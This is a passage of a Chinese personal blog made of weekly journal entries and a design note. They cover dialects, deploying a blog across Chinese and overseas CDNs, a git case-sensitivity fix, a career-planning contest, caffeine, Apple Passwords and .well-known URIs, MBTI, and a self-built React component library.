事务对我们都会有影响,其价值必须定量,而非定性地讨论。出去义务扫马路可以陶冶你的情操,还可以锻炼身体。坐在家里背单词背一天你可以学会数百个新单词,提升英语水平。按照上面提到的「善意的逻辑」,这两者各有好处,仿佛难以取舍。但是我想在实际操作中,不会有人认为前者对你的益处更大。

🎵 《就现在》—— 吴莫愁

吴莫愁《就现在》 - 哔哩哔哩

发布于 2013 年的百事可乐广告曲《就现在》。这是我最喜欢的 MV 之一。极其夸张的布景、妆容,展现了真正属于年轻、属于青春的激情。不得不承认,对于可口、百事这种在产品本身上差别不大(至少我喝不出来)的竞争,一个成功的广告曲还真的能扭转我的品牌印象。

任何作品都是时代的作品。这首歌真的很有那个时代的气质:2013 年,经济在高速发展,国家的未来充满希望,年轻一代昂扬向上、朝气蓬勃,任何人的梦想在明天都能实现。

爱谁,谁管谁在舞台

Live for now,我就是主宰

梦想,才让心跳存在

散发出光彩

今天我们再也听不到这样风格的歌、看不到这样风格的 MV 了。如今回顾,有种说不出的感受。

🌟 Bookmarks

Articles:

Techs:

Cool Sites:

🎆 新年快乐!下周见。

Weekly #25:方言才是我真正的母语

🌇 封面图:信安湖游船

信安湖游船

💬 方言才是我真正的母语

回到老家,我和父母、亲戚都会用方言(衢州话)交流。

我现在觉得,方言才是我真正的母语。尤其是很多方言的表达,在普通话里都是不存在的。我虽然不知道这些词汇怎么写,但每次说起来都倍感亲切。由于用普通话说不出对应的词汇,这就成了无法向外乡人说的话语,成了同乡之间才可意会的表达。

衢州话是吴语的一种。冷知识:Wikipedia 有吴语版本:wuu.wikipedia.org。在这里我第一次看到许多方言用语的书面写法,例如「的」发音为「ge」,居然真的写作「个」;「非常」我们说「jiao gua」,写作「交关」。很有意思!

然而方言也普遍「碎片化」。南方地区方言的一个显著特点是「五里不同音,十里不同调」,连我所在的衢州下辖的一个县级市「江山市」,来自那里的高中同学说的方言,我都完全听不懂。即使是我所掌握的衢州话,也有两个版本:城里的版本和农村里的版本。两种版本在许多词汇上有所差异。我外公外婆说的是农村里的版本,我爷爷奶奶说的是城里的版本。(我妈妈年轻时从农村来到城里,还因为说农村版本的衢州话而受歧视)

所以方言会消失吗?方言基本作为一种口头语言,很难被充分用文字记载下来;方言的碎片化特点意味着每种方言的使用人数并不算特别多;而随着人口流动,普通话的大量普及,我觉得许多方言的失传似乎是必然的趋势。这非常可惜。

记得《繁花》的演员在采访中提到,用上海话表演和用普通话的感觉是完全不一样的。上海话才是上海人的母语。如果在他乡遇到同说同种方言的老乡,那会是多么亲切!

🌍 适合个人网站的全球加速解决方案

本周我正在开发的全新博客系统已经基本完成。关于这个博客系统的细节,包括设计、实现过程中的一些思考,我可能会通过系列博客文章单独分享。(貌似画的饼越来越多了 😓)

关于网站的部署方案,也经历了很多探索:

TL;DR:阿里云 DNS 按地区分流。

  • 网站部署 skywt.cn:
    • 境内:腾讯云部署 + 多吉云 CDN
    • 境外:Vercel
  • 对象存储 os.skywt.cn:
    • 境内:腾讯云部署 MinIO + 多吉云 CDN
    • 境外:Cloudflare R2

最核心的问题是:为了保证我自己对网站的访问速度,我的服务器在境内(腾讯云),域名进行了备案;而对于海外用户或者开了代理的用户来说,访问速度会很慢。针对境内和境外的两种流量,必须有一种解决方案,能够保证两者的访问速度,并且前提是不用花太多钱。

首先,为了区分境内和境外的流量,使用阿里云 DNS 进行分流,可以针对境内、境外线路分别设置解析记录。

对于境内访问,国内云厂商的 CDN 都是不错的选择。其中,又拍云和多吉云提供了不少免费额度。最终我选用的是多吉云。

对于境外访问,则比较复杂。能否依然使用国内 CDN 平台呢?各大平台国际加速都非常昂贵,且分区过于详细(北美区、南美区、欧洲区……),对于我们的网站来说没有必要。能否使用境外 CDN(如 Cloudflare)回源到国内网站呢?答案是不行,国外 CDN 回源境内服务器涉及数据跨境访问,回源时会被腾讯云以「未备案」为理由拦截。因此,只能在境外再部署一套前端。由于新的博客系统是用 Next.js 开发的,最终我还是选了 Vercel。

为了保证数据的同步一致,二者连接的数据库,都选择部署在腾讯云服务器上的 Supabase。(或许之后可以考虑使用 Supabase 官方免费实例,并与腾讯云自部署 Supabase 同步,不过这就有点像分布式数据库了 😅)

除此之外,我还在腾讯云上搭建了 MinIO,作为对象存储,用于图床和文件附件等。在境内,这也由多吉云加速;但在境外,还是无法使用 CDN。我的解决方案是使用同样有免费额度的 Cloudflare R2,一份文件在两个地方分别存储。

(对了,如果你想提前体验一下 👉 daydreamer-next.vercel.app。欢迎锐评)

💡 TWIL:Git 文件系统大小写不一致问题

macOS 和 Windows 的文件系统一般默认都不区分大小写,而 Linux 广泛使用的文件系统基本都默认区分大小写。使用 git 同步代码时,在某些情况下,这会导致诡异的大小写问题。

例如本周遇到的:macOS 本地文件夹名是 Footer,GitHub 上的却是 fotoer,这导致在 Vercel 上构建时,所有代码中包含 Footer 路径的引用全部失败,无法构建。最关键的是 git 认为仓库是完全同步的。感觉就像是见鬼了 👿。猜测产生这种现象的行为是:一开始文件夹名为 footer,后改名为 Footer

解决方案一

git config core.ignorecase false

对于已经出现此问题的项目,更改该设定后可能出现更加诡异的情况,例如本地只包含 Footer,远程包含 Footerfooter 各一份 😇。因此,最好再结合以下方法:

解决方案二

在区分大小写的文件系统中(别的 Linux 主机,或 GitHub 在线 IDE)将文件名修正,然后在本地重新 clone。这是最简单的方法。

解决方案三

格式化磁盘或重装系统时,选择区分大小写的文件系统 😡。下次重装系统一定要注意。

解决方案四

一切文件名统一使用小写命名。UserMenu 组件命名为 user-menu.tsx。组件库 shadcn/ui 就是这么做的。这是长久而言最为保险之计。

📚 本周在读:《关于说话的一切》、《平面国》

  • 关于说话的一切》:从本质上介绍「说话」这一行为。比较硬核,但读起来感觉醍醐灌顶。还没读完,之后再详细分享。
  • 平面国》:描述了一个二维国家的世界观。二维世界的人物无法理解「一维世界的人无法想象二维世界」这件事情,但他们自己也无法想象三维世界。身处三维世界的我们亦如是。作为 19 世纪的作品,除了在科幻概念上的先进性,本书还对二维平面国的政治形态进行了辛辣而真实的讽刺。

🌟 Bookmarks

Articles:

Blogs & Books:

Cool Sites:

Tools:

下周见!

Weekly #24:职规大赛历险记

本周回学校参加了「湖南省第二届职业生涯规划大赛」,一周都在忙这个事儿。

🌇 封面图:后湖烟花

后湖烟花

虽然最近新加了一块「禁止燃放售卖烟花」的告示牌,但后湖售卖烟花的小摊小贩仍然不少。每天路过都能看到烟花绽放。

这或许就是属于长沙的松弛感 😎。

🤵 职业生涯规划大赛

TL;DR:如果你所在的学校对该比赛没有激励政策(如竞赛保研),强烈不建议浪费时间参加这个比赛。快跑!

  1. 没有任何激励。无奖金。无奖品。甚至连荣誉证书都没有打印。
  2. 这是 PPT 演讲比赛,并不是职业生涯规划比赛。真正有能力的人,玩不过那些专门搞演讲、专门搞 PPT 的人。
  3. 这是一个非常「体制内」的赛事。例如,可能需要一些「外在资源的加持」;答辩需要有较强的说「场面话」的能力。

之前阴差阳错地被辅导员拉过来参加了这个比赛,为了帮她完成「上面派下来的指标」。本以为做个 PPT 交了就好,没想到通过了网评,得代表 HNU 参加省赛。在报销车票的承诺下,本已经回家的我,又回到长沙待了一周,准备参加这个比赛。😇

我参加的是「就业赛道本科组」。赛制是 PPT 演讲 6 分钟,需要全程脱稿 😰;评委提问答辩 7 分钟。需要提交的材料包括 PPT 和个人简历。

做出符合这种比赛风格的 PPT,是我从未尝试过的挑战。大一参加的大创项目由于经费不足草草收尾,之后再也没有参加过类似的比赛。之前做过的 PPT,基本都是学术风课程汇报 PPT,最喜欢的配色是白底黑字,最喜欢的字体是 Times New Roman 和宋体……好在曦姐(我的辅导员)有着丰富的做 PPT 经验。在经历了小红书上买了 N 个模板并缝合、找 PPT 设计公司外包制作某些页(¥300 / 页 😰)之后,一个炫酷的 PPT 终于诞生!

学到的一个 tips:PPT 最麻烦的是字体问题,特别是这种需要一定效果的 PPT,需要安装很多艺术字体,而大赛演讲时使用的电脑环境多半是没有的。一个通用的技巧是:将 PPT 转为图片版,即将每一页 PPT 内容都转为图片,再组合成一个 PPT。可以在 PowerPoint 内导出为 JPEF 或 PNG,然后使用 WPS 中「插入图片到多个幻灯片」功能,制作图片版 PPT。

在《Weekly #14:做 PPT 相比 coding 的痛苦之处》中我就提到了,我超级讨厌 PowerPoint 这样的工具,因为它们的表达能力相比代码差远了,使用起来非常痛苦。这次制作这么复杂的 PPT,我再一次有同样的感受。经常出现多个元素重叠,想要选择下面的元素,点击却选择了上面的元素;如果将上面的元素移开,则又破坏了精心调整的对齐关系……啊!实在是太痛苦了!!!

网上找到的 PPT 模板,以及企业做出的 PPT 成品,都有些很奇怪的现象:有的将元素进行了很混乱的组合,有的能将一大堆元素重叠起来(几乎是无法手动编辑的状态)……我严重怀疑他们专业做 PPT 的企业,是不是用了什么更高端的工具,然后将成果转换为 PPT 格式的。

成品预览(码了,要脸):

PPT 首页

卡着点提交了 PPT,下一个挑战是:要全程脱稿演讲,并且演讲时基本不能看 PPT 😰(背对着屏幕)。花了一下午和一晚上确定了稿子,又花了一下午和一晚上对着 PPT 脱稿排练,最后总算达到了比较熟练的状态。已经很久没有背这么长的文字了……

本次比赛的评委提问都比较尖锐。在候场室观赛时,有选手介绍了多项项目经历,评委就问道:「这个项目你负责了多少?你现在是大三,也就是 2022 年入学的。我查了你的项目 2023 年 X 月份就结项了,也就是说你大一就主导了这个项目?」而在我前面答辩的一个女生的职业目标是财务领域,随口说了一句和区块链有关的项目,被问「区块链是什么」,支支吾吾答不上来。据说,许多选手的项目经历存在包装的成分……

我自己现场的发挥(我自认为)还是不错的,演讲部分没有卡壳,答辩部分发挥得也尚可。幸亏我的项目都是自己的,被问到也能答出个所以然。尤其是观察了前几位答辩支支吾吾的表现,我的答辩环节自信了很多。

第一位提问的评委似乎和 HNU 有些渊源(事后老师告诉我),问我「学校能带给我什么资源」。我对这个问题并没有准备,回答的大概意思是校友、老师、科研平台等资源。赛后老师告诉我,这位评委其实是在递话,他想让我说的是 HNU 依托国家超算中心之类的平台,结果我并没有 get 到……这就是我所缺乏的说「场面话」的能力 😇。

🎒 大学辅导员的工作日常

这周接触得很多的就是辅导员。带我参加比赛的超会做 PPT 的曦姐,当班导时就接触过的同为 INFJ 的刘王老师,咱们的辅导员标准 P 人冯导,以及隔壁工管院的活力满满的在工作之余还同时运营着自媒体搞点副业的韦子夏老师 @夏与葡萄园 等等。感觉辅导员也是很有意思的职业。

辅导员是所有学生的负责人,我们平时有事都会去找他们。然而,有时他们也会和我们一样经历焦虑、迷茫、无助。其实之前当班导的时候我也有类似的感受:「遇到了困难希望有大人过来帮忙解决」-「意识到自己就是那个大人」……让我印象最为深刻的就是某一晚,某个学生的「突发情况」,不仅让刘王老师不得不加班做工作,还面临了一些两难的抉择。如果是我,也一定会备感压力。

他们也会有同事之间的不愉快,有时作为体制内的角色也会身不由己。

当然,网络舆论有时并不善待辅导员这一群体,因为某些学校的某些辅导员(或者其实是上位者)的所作所为确实令人不愉快。我认为本质上是制度没有有效约束辅导员的权力。

而很幸运的是,我遇到的辅导员都是很好的人。

下周见~

Weekly #23:2025,出发

🌆 封面图:2025 的第一次日出

2025 的第一次日出

📑 Weekly 复刊词:吾一周一省吾身

人必须不断地、周期性地审视自己。这种审视必须通过外化表达的方式才能完成,也就是写作。

而一周是较为合适的时间单位。一周是一年的 2%,是一生的 1/4000。如果你把一年,甚至一生的每一周画到一张纸上,每个格子代表一周,你会发现原来这么少。《四千周》这本书就送了一张这样的格子纸。长期来看,以周为单位计算时间流逝的长期进程,非常适合量化。而一周(一般来说)有工作日和休息日,也能给我们足够的自由时间。

虽然我平常一直活跃在 Twitter,但这毕竟是个短文平台,字数限制让人无法进行长文输出与深度思考(除非开 Premium)。因此,我依然在我的博客进行每周回顾。

上一期 Weekly #22 终结于 2024 年 10 月 20 日,后来的两个多月都没有更新。其实是因为 22 周之后我开始旅游,去了广州、深圳、香港玩,后两周断更了。而一个习惯一旦经历了两次放弃,就会迎来可怕的习以为常,导致一直拖更到现在……

正好,这也是 2025 的第一周。我确定了两件往往「重要而不紧急」的事,需要长期坚持:阅读和周记。阅读是输入,周记是输出。如果我能坚持写一年的周记,那就太酷了。

🎯 我的 2024,我的成长

过去的 2024 年,我觉得我感受到的一个主题是:「成长」。

回想 2024 年年初的我,当时的自己对未来一片迷茫,还在想着或许考研,但明明内心非常不愿意,这只是在逃避对未来选择的思考。当时的自己甚至还没开始考虑和了解未来其他的可能性。因为在 HNU 大量平庸而无聊的同学身上,很难看到其他可能性。

这一年经历的事情可真多:

  1. 决定不读研。下定决定后,一切都豁然开朗。
  2. 人生的第一份大厂实习
  3. AdventureX。👉 Weekly #9:AdventureX —— 热爱为主,搞钱为辅
  4. 旅游。西安、南昌、杭州、上海、武汉、广州、深圳、香港、浏阳。
  5. 开始将 Twitter 作为主力的社交平台。从零开始涨到将近 3k fo。Connect 了不少很有意思的朋友。
  6. 春招&秋招。面试、刷题、背八股。
  7. 签订三方。毕业去向基本尘埃落定。

经历了这一切,现在的自己,已经是个完全不同的人了。无论是对职业、行业、技术、社会的理解,还是社交能力,相比 2024 年初的自己,都有了进步。

相比 2024 年以前基本都在学校「上课、学习」的循环,今年尝试了很多新事物,也认识了很多新朋友。正是这一切拓展了我对未来想象的边界,让我看到更多可能性。所以,2024 给我带来的「成长」相较以往更为显著。

之前在学校里的时候我会想:我们的时光一周一周地逝去,留下了什么呢?这一切有什么意义呢?这也是我开始写 Weekly 的初衷:希望时光留下印记。现在我发现,这些逝去的时间留下的最大的意义就是「成长」。我们的时间是我们最宝贵的资产,而「成长」就是对未来的投资。

2025,希望我能持续「成长」。

☕️ 告别「咖啡因崩溃」

暑假在某厂实习的时候,经常临近晚饭时间我都会突然感觉非常累——不仅是心理上有一种有些崩溃和绝望的情绪,身体上也会感觉腰酸背痛。本周偶然的一天睡眠不足,早上的咖啡和一整天的 coding,让我在下午复现了这种感觉。

现在才知道,这种感觉可能是「咖啡因崩溃」引起的。

人体内的腺苷是引起困意的因子,腺苷与受体结合让人犯困。人清醒的时间越长,积累的腺苷越多;而充足的睡眠则会清除腺苷,将其含量降低到很低的水平。

咖啡因的作用原理则是阻止腺苷与受体结合,但并不会减少腺苷的量。因此,传统说法里说「咖啡能够提神」其实有误导倾向。待咖啡因经过8小时左右被代谢,和受体结合的腺苷数量会在短时间内大量增加,使人反常地进入劳累状态。这就是「咖啡因崩溃」。回想之前实习的时候,我几乎每早都在麦当劳喝咖啡,而睡眠时长没有得到保证,加上一些工作压力,导致频繁发生的「咖啡因崩溃」。

这些源于《我们为什么要睡觉》这本书。本书深深改变了我的睡眠观,非常推荐!书中还指出:咖啡因是人类有史以来被无监管地滥用得规模最大的精神兴奋剂。如果你需要咖啡因才能让自己达到最佳状态,这说明你的睡眠不足

咖啡因不是一种保健品。相反,它是世界上使用最广泛的(被滥用的)精神兴奋剂。它是全球第二大贸易商品,仅次于石油。咖啡因的摄入代表了有史以来针对人类进行的历时最久、规模最大的无监管药物研究之一,也许只有酒精能与之匹敌,而且现在仍是如此。

2025,让我们告别咖啡因,好好睡一觉吧。

⚙️ Daydreamer 1.0 的失败之处

我目前运行的这个基于 Astro.js 的博客系统,我命名为 Daydreamer,开源在 GitHub。大概完成于一年前。最后一次功能上的更新是在 7 月,之后就基本没有较大的维护。

现在看来,Daydreamer 的设计是有诸多失败之处的。

首先是技术选型上。由于当时对 Node.js 后端生态较为狭隘的认识,后端选择了几乎停止维护的 Koa.js 和较为过时的 TypeORM,这两项现在看来都是较为失败的选择。TypeORM 年久失修,各种奇怪的 bug 一大堆;Koa.js 也长久缺乏维护,生态匮乏。

前端的技术选型也一言难尽。选用了 Sass 并大量使用 mixin,现在看来都不如直接使用 CSS 变量方便。基于此封装的组件库 DayDesign,也继承了这一失败的设计。由于我倔强地不愿意使用任何组件库,而是选择自己实现所有组件,而我又缺乏相关经验,导致前端组件里充斥着大量不合理的抽象和大量不优雅的实现。很多知识都属于「你不知道你不知道」的类型,经验是需要慢慢积累的。

使用 Astro.js 也是非常不合适的选择。我做的明明是一个前后端分离的博客系统,对于获取博客文章都有明确的 API,但我却选择了使用 Astro.js 这一以 SSG 为主的框架,选择在构建时请求 API 获取所有文章,静态生成网站。构建的过程发生在 GitHub Action 的 runner 里,后端则部署在境内腾讯云服务器上,间歇性的网络问题和构建时较高的并发,经常带来麻烦。(尽管如此,Astro.js 本身是一个很好用的框架,我很喜欢)

这也导致了极其怪异的文章发布流程:写好一篇文章后,我要在数据库里插入这条记录(是的,没写后台,直接在数据库里发文章 😂),然后上 GitHub Action 重新构建,等几分钟构建完毕后(产物会在 pages 分支)再在我的服务器上 pull 下 pages 分支的文件,这才完成了网站内容的更新。无论是新发布一篇文章,还是更新友链,凡是更新任何内容(除了评论区),都要重复这样的构建流程。这实在不是一个很好的实践。

设计上也有不少不满意的地方,比如过大的 navbar、缺乏动效,等等。

除此之外,这个系统并没有自带图床。我直接将之前使用的 Typecho 博客系统(blog.skywt.cn)文章编辑时的图片上传功能临时当作图床来用,结果一「临时」就用了一年。这导致这期间发布的文章里所有的图片都来自域名 blog.skywt.cn……

我喜欢折腾的心永远不愿意停歇。因此,几乎每年,我都会重新设计和开发自己的网站。现在我在基于 Next.js 写一个新的博客系统,或者我更喜欢称之为「个人 CMS」。暂定名为 Daydreamer Next。汲取了上述教训,我希望新的设计尽可能优美。使用了 Supabase 和 MinIO,有完整的图床、管理面板,将会支持多语言、SSO 登录,以及更多好玩的功能。Coming soon~

🌟 Bookmarks

大家的 2024 总结

🎆 新年快乐。下周见!

Weekly #22:每个人都天生不同

20 多岁的大好年华,可以做一些非同寻常、稀奇古怪、大胆冒险、不可理喻、疯狂愚蠢、无利可图、看起来与「成功」不沾边的事。在余生里,这些经历将成为你的灵感缪斯。

—— 凯文 · 凯利《宝贵的人生建议》

🌆 封面图:秋天的午后

封面图:秋天的午后

咱们 HNU 图书馆真是古色古香!

🔐 切换到 Apple Passwords

iOS、iPadOS、macOS 的最新版本,将之前集成在系统里的密码管理器做成了独立的 App,功能已经比较完善,支持 OTP、Passkey 和完美的自动填充,iCloud 同步。

于是,本周我将主用的密码管理器从 BitWarden 换到了 Apple Passwords。

Apple Native 的 App 果然有最完美的用户体验。之前用的 BitWarden 的自动填充,是通过快捷键调用、脚本实现的,不仅没有输入框的 UI,也会出现填充错的情况。而使用 Apple 原生的 Passwords,在 Safari 里输入框旁边就会出现填充提示,简洁高效。(然而这种体验仅限于 Safari。在 Chrome 或 Firefox 里的 iCloud Passwords 插件体验还不如 BitWarden)

许多网站开启 2FA 后,要填写 OTP。用了 Passwords,Safari 居然支持自动填写(就像自动填写手机短信验证码一样)(当然,阿里云等少数网站不支持)。而之前 BitWarden 极其不优雅的做法是:自动填充密码后,将 OTP 放在剪切板里……

自动填充 OTP 是怎么实现的呢?原来,WHATWG HTML Living Standard 文档的 Autofilling form controls: the autocomplete attribute 这一部分定义了各种 autocomplete 形式,包含 one-time-code,即我们一般使用的六位 OTP。许多国内网站(如阿里云)表单没做这个属性,因此不支持。

Passwords 支持直接点击跳转修改密码

还有一个神奇之处:Passwords 会检测你在不同站点使用的相同密码,并提示危险,会显示一个「Change Password」的按钮,点击即可直接进入该网站修改密码的页面。(当然,有的网站不支持,如阿里云 💢)

这是怎么做到的呢?网站如何约定「修改密码页面」呢?其实,Passwords 打开的是 https://example.com/.well-known/change-password 这个 URL。

💡 TWIL:网站的 Well-Known 目录

This Week I've Learnt:

一些应用需要获得某个站点的 metadata,例如用于搜索引擎爬虫的 robots.txt。越来越流行直接通过 HTTP 协议传递这种信息。而这意味着得约定一个路径存放这种信息。

因此,RFC 8615 定义了 Well-Known URI,即一个网站的 /.well-known/ 开头的路径:IETF RFC 8615 Defining Well-Known Uniform Resource Identifiers

具体约定了哪些 Well-Known URI,则由文档中给出的 IANA Well-Known URIs Registry 登记收录。

常用的 Well-Known URI 有如下几个:

没了解过这些通行的标准,你的网站就会和阿里云一样,不支持自动填充 OTP,不支持改密码!👀

📚 本周在读:《天生不同》,MBTI 入门指南

高中接触到 MBTI,测了很多次自己都是 INFJ。当时很着迷于性格分析,经常分析和推断认识的每个人的 MBTI。后来,MBTI 在网上大为流行,无论是谁都给自己打上某个类型的 tag,这种工具好像沦为了类似「星座」的东西,充满了商业营销的气息。许多人会问:「你信不信 MBTI」,就像「你信不信星座」一样。

对某个领域充分了解才能做出判断。子曰:「君子于其所不知,盖阙如也。」

这本《天生不同》,是经典的 MBTI 入门读物。MBTI 全称 Myers-Briggs Type Indicator,本书作者之一正是 MBTI 理论的提出者之一 Isabel Myers。

本书介绍了 MBTI 的四个维度:

  1. 对世界的关注:内倾 Introversion / 外倾 Extroversion。
  2. 偏好的感知方式:感觉 Sensing / 直觉 iNtuition。
  3. 偏好的判断方式:思维 Thinking / 情感 Feeling。
  4. 对外偏好的心理功能:感知 Perception / 判断 Judgement。

以及形成的 16 种人格组合的性格描述。(不过这一部分更推荐 16 Personalities 网站)

看这本书的时候,我一直在想之前的问题:MBTI 科学吗?有多大实用价值?

如果按照「可证伪」的标准来看,MBTI 不是科学。因为如果生活中出现了不符合 MBTI 的特例,能找到各种其他因素进行解释(因为一个人的全部并不是只由这四维决定的),所以 MBTI 理论无法被证伪。(类似地,根据这个定义,弗洛伊德的精神分析也不是科学;宏观经济学也不是科学)

然而,MBTI 是有实用价值的。

每个人都是独一无二的。然而,我们可以根据某些特征对人进行分类。依据的特征越多,形成的类别越多,每个类别组内个体就越相似,最极端情况是每个人自成一类;反之,依据的特征越少,形成的类别越少,每个类别组内个体差异越大,最极端情况是所有人都在同一类。而一个有效的分类法,应该介于这二者之间:类别不至于过多,而又多到足够反映每个类别组内个体的某些特征。这样的分类方法,就是有实用价值的。

而 MBTI 选取的分类特征,我认为也有足够的代表性,足够接近本质。该理论提出人的两大核心心理功能感知 Perception判断 Judgement,即 MBTI 的第二维和第三维。这二者是前后承接的两个环节,而这二者之间不同人的偏好不同,则决定了 MBTI 的第四维;在这两个环节之前,不同人关注的信息来源不同,决定了第一维。

但是,实际应用该理论,其实也是有些困难的。因为:

  1. 这四个维度不是全面的(或者无法证明是全面的)。一个人的性格,不仅受到这四个维度的影响,可能还有别的维度,例如我们经常提到的「敏感」等。
  2. 一个人展现出来的样子,不仅由性格决定。阅历、智商、相貌、气质等等。这些因素有的在性格之外,有的和性格有交叠。我们是无法将一个人的「性格」抽象出来单独考察、分类的。

因此,MBTI 只能作为一种方向性的参考。它虽然不是完全科学的,但却是自洽的、有一定实用价值的。

🌟 Bookmarks #2

网站:

  • Plain Vanilla:An explainer for doing web development using only vanilla techniques. No tools, no frameworks — just HTML, CSS, and JavaScript.
  • TLCL:在线书籍《The Linux Command Line》中文版。

项目:

文章:

下周见!

组件库 DayDesign 设计手记

UI/UX 决定了 一个网站的 personality。

网页带来的感觉,一半源于网站上的图片、文字这些内容,另一半则源于字体、配色、动效等 UI/UX 设计。

DayDesign 是一个简洁优雅、轻拟物风的 React 组件库。官网:DayDesign

Colors

我首先定义了各种元素的颜色(我定义为 Sass 的 mixin,这样可以方便地复用)。每种颜色都有两套配色方案,分别对应 Lightmode 和 Darkmode。我主要定义了这些颜色:

  • 背景色(全局背景)
  • 前景色(卡片、按钮等放在背景上的物体)
  • 前景 hover 的颜色、active 的颜色
  • 前景物体在背景上的 shadow 颜色
  • 前景物体在背景上的 border 颜色及其 hover 时的颜色
  • 一级、二级、三级文字颜色

当然,如之前在《全新个人网站 Daydreamer 设计开发手记》中所说,Lightmode 和 Darkmode 绝不是简单的反色,而是要重新选择所有配色。所以以上的颜色都是语义的,具体指定的颜色,则根据 Light / Dark 定义在 mixins.scss 里。

Design

我很喜欢拟物风,因为拟物风看起来更精致、更符合物理直觉、更有人文气息。

然而拟物风的设计难度也比扁平风要大得多。扁平化的风格之下,只需要一个简单的边框就能分隔出一个组件;而拟物风里,必须不断推敲各个组件符合现实生活经验的样式。

比如这个 Tabs 组件:

Tabs 效果图

用外边框的 inner-shadow 做出凹槽的效果,用 Tab 的 shadow 做出立体效果,让整个组件符合现实经验(就像一个开关一样)。

最难的点在于如何做 hover 效果。如何提示用户这个 Tabs 是可交互的呢?不能直接套用按钮的 hover 效果,因为 Tabs 里是没有突出显示的 Tab(图中的选项 2)可点击切换,有突出显示的 Tab(图中的选项 1)不可点击,这和按钮是相反的。我参考了各种 UI 的实现,最终的选择是:hover 时,整个 Tabs 外框颜色加深高亮显示(当然,Light、Dark 模式颜色不同),这样用户可以知道这整个组件是可交互的。输入框也按照这个思路统一了 hover 效果。

综上所述,其实拟物风真的并不适合更复杂的 UI。因为设计出合理的拟物 UI 难度很大,费时费力。

Why

使用各种现成的组件库,有两个问题:

  1. 风格不符合。大多数流行的 Web 组件库,比如 Ant Design,都追求高效明快的风格。毕竟一般的 Web App 都追求效率和生产力。这在设计上的体现就是极致的简约和扁平化,动效也是简单快速。这些本身当然很好,然而这不是我的博客想要传达的风格。如前所述,我喜欢轻拟物风。
  2. **大众脸。**虽然前端组件库百花齐放,但被广泛大量使用的组件库不外乎 Ant Desgin、Shadcn、Bootstrap 那几种。这导致很多用了这些组件库的网页看起来都很「大众脸」。我依然清晰地记得第一次接触到 Boostrap 的时候,有一种恍然大悟的感觉:原来之前看起来莫名长得这么像的网页,都是用了这个组件库!

所以在做我的博客前端的时候,我没有使用任何组件库,而是用 Tailwind 自己写了所有组件样式。现在,我将所有组件样式抽离出来,做成 DayDesign 这个 React 组件库。

**为什么我如此重视网站的 UI/UX 设计呢?**除了和我个性里的感性有关,我觉得最重要的原因就和前文开头所述一样:

网页带来的感觉,一半源于网站上的图片、文字这些内容,另一半则源于字体、配色、动效等 UI/UX 设计。

比如我的网站全局用了 serif 字体,就是希望传递一种古典、人文、感性的气息。如果我希望传递的是 Geek 风,或许全局用 monospace 字体就是更好的选择。

归根结底,这其实就是《Refactoring UI》里说的 personality

Every design has some sort of personality. A banking site might try to communicate secure and professional, while a trendy new startup might have a design that feels fun and playful.

**有趣的是,设计给你带来的影响是潜移默化的。**文字、图片这些内容给你带来影响,这种影响本身是你可以感觉到的;而 UI/UX 带给你的影响你却无法明显感知到,像是一种「暗示」。例如,走进宜家精心设计的样板房里,你会觉得有回家的感觉,舒适、惬意,这是灯光、配色、布局等等各种设计给你带来的综合主观感受,你用理性是很难说清楚的。(这有点像「侧信道攻击」)

**依照经验来看,越感性的人越容易受到设计风格的「暗示」。**上一个版本的网站,我首页只写了一句话:「✨ 你能听到星星的呼唤吗?」结果有朋友就是被这句话 touch 到了。

Afterword

我们可以随时将一个灵感转变为现实。这就是我们热爱 coding、热爱前端的原因。

Weekly #21:我们可以随时将一个灵感转变为现实

历史上最伟大的领袖与政治家都不是问题解决者。他们是开创者,他们是创造者。即便在遭逢冲突的时代,例如战争或者经济大萧条,他们都为了打造出自己理想的社会而采取行动。丘吉尔(Winston Churchill)与小罗斯福(Franklin Delano Roosevelt)就是两个形象鲜明的开创者政治家。他们不只试着解选民之苦,甚至还有时间按照他们的愿景,把自己的时代打造成通往未来的基础。

——《最小阻力之路》

🌆 封面图:秋夜

封面图:秋夜

iPhone 12 mini 拍得很糊。看个意境就好。

🎨 我们可以随时将一个灵感转变为现实

本周把之前博客前端各种组件都抽出来,做成了 DayDesign 这个组件库。

其实最早是想要给博客评论区加上 OIDC 登录(计划做微信、GitHub、Google 和 SkyAuth 登录),然而设计评论区 UI 的时候,需要做一个 Tabs 组件,来切换用户信息填写方式(OIDC 登录,或填写名字、邮箱和网址),而这个组件在表单里的地位有些奇怪。于是我突然想到:干脆把所有组件都抽离出来,做一个组件库!

这也是我第一次配 Rollup 这个工具。要配上 React、TypeScript、PostCSS、Tailwind、Sass 等等,前端工具链还是挺折腾的。

于是有了:组件库 DayDesign 设计手记

我们可以随时将一个灵感转变为现实。这就是我们热爱 coding、热爱前端的原因。

当我灵光一闪的时候,总会有这样独特的体验:**似乎有某种东西在召唤我去创造。**我记得最疯狂的一天是我早上七点半到图书馆,coding 了一整天,到晚上十点才回家,期间仿佛感觉不到时间的流逝了。这或许就是所谓的「心流」状态。这都是源于「创造」带来的乐趣。

📱 哪款 iPhone 适合你?

很喜欢 Apple 官网每个产品介绍最后的这个部分:「哪款 iPhone 适合你?

哪款 iPhone 适合你?

每款 iPhone 的介绍,底部都有这个部分。相应地,每款 MacBook 的介绍,底部都有「看看哪款笔记本电脑适合你。」每款 iPad 底部都有「看看哪款 iPad 适合你。」这个部分列出该产品所有主要产品线,进行大致的对比。还有直达的「联系 Specialist 专家协助选购」的链接。

至少它有这样一种意识:客户没有义务了解你的所有产品线。客户只关心哪一款产品满足 TA 的需求。这就是一种「以客户为中心」的理念:应该是厂商站在客户的角度思考客户的需求,而不是要求客户站在厂商的角度了解你的各种产品。

反观国内厂商,产品线都是什么乱七八糟的:数字、Mate、Note、Nova、Turbo、Civi、K、R、X,还有后缀,什么 Note 14 Pro+,K70 至尊版,Mate 60 RS 非凡大师……而官网的介绍连一个横向对比的工具都没有做。这种混乱毫无逻辑,简直让人毫无购买欲望。而如果去线下店问导购,多半会被宰一笔。😅

小米手机的产品线

📚 本周在读:《最小阻力之路》

一句话概括:从结构动力学的角度看待行为,我们的行为都沿着某个潜藏思维结构决定的「最小阻力之路」。

一种常见的结构是反抗 - 顺应(React-Respond)取向,即顺应环境(做好学生)或者反抗环境(做坏学生)。本书认为,这种取向的最大问题就是基于这样的假设:环境决定人的行为。这种取向形成了一个内循环结构,即通过最小阻力之路,顺应取向会走向反抗,反抗取向会走向顺应,无法在内部改变这一取向。

由此衍生的是解决问题取向。这一取向的最小阻力之路是:问题 - 改善问题的行动 - 问题改善 - 行动减少 - 问题再度恶化。这是一个典型的摇摆模式。

